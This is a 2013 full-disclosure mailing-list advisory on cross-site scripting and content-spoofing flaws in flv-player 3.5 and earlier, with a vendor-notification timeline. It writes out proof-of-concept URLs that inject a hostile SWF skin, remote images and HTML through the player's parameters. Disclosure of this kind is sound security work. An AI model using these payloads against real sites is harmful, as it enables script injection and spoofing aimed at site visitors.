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Date: Wed, 9 Oct 2013 20:35:43 +0300
From: "MustLive" <mustlive@...security.com.ua>
To: <submissions@...ketstormsecurity.org>, <full-disclosure@...ts.grok.org.uk>
Subject: Multiple vulnerabilities in flv-player

Hello list!

These are Cross-Site Scripting and Content Spoofing vulnerabilities in 
flv-player.

-------------------------
Affected products:
-------------------------

Vulnerable are flv-player 3.5 and previous versions.

-------------------------
Affected vendors:
-------------------------

U-Studio
http://flv-mp3.com

----------
Details:
----------

XSS (via Flash Injection) (WASC-08):

http://site/path/uflvplayer_500x375.swf?way=http://site2/1.flv&skin=xss.swf

In old versions of Flash player the attack will work with flash file xss.swf 
at any domain, in new versions - only at the same domain.

Content Spoofing (Flash Injection) (WASC-12):

http://site/path/uflvplayer_500x375.swf?way=http://site2/1.flv&skin=http://site2/1.swf

Content Spoofing (Content Injection) (WASC-12):

http://site/path/uflvplayer_500x375.swf?way=http://site2/1.flv

http://site/path/uflvplayer_500x375.swf?way=http://site2/1.flv&pic=http://site2/1.jpg

Content Spoofing (HTML Injection) (WASC-12):

http://site/path/uflvplayer_500x375.swf?way=http://site&comment=test%3Cimg%20src=%27http://site2/1.jpg%27%3E

XSS (WASC-08):

http://site/path/uflvplayer_500x375.swf?way=http://site&comment=+%3Cimg%20src=%27xss.swf%27%3E

In old versions of Flash player the attack will work with flash file xss.swf 
at any domain, in new versions - only at the same domain. Also Strictly 
social XSS attack is possible.

------------
Timeline:
------------ 

2013.08.03 - announced at my site.
2013.08.05 - informed developers.
2013.10.08 - disclosed at my site (http://websecurity.com.ua/6694/).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua 


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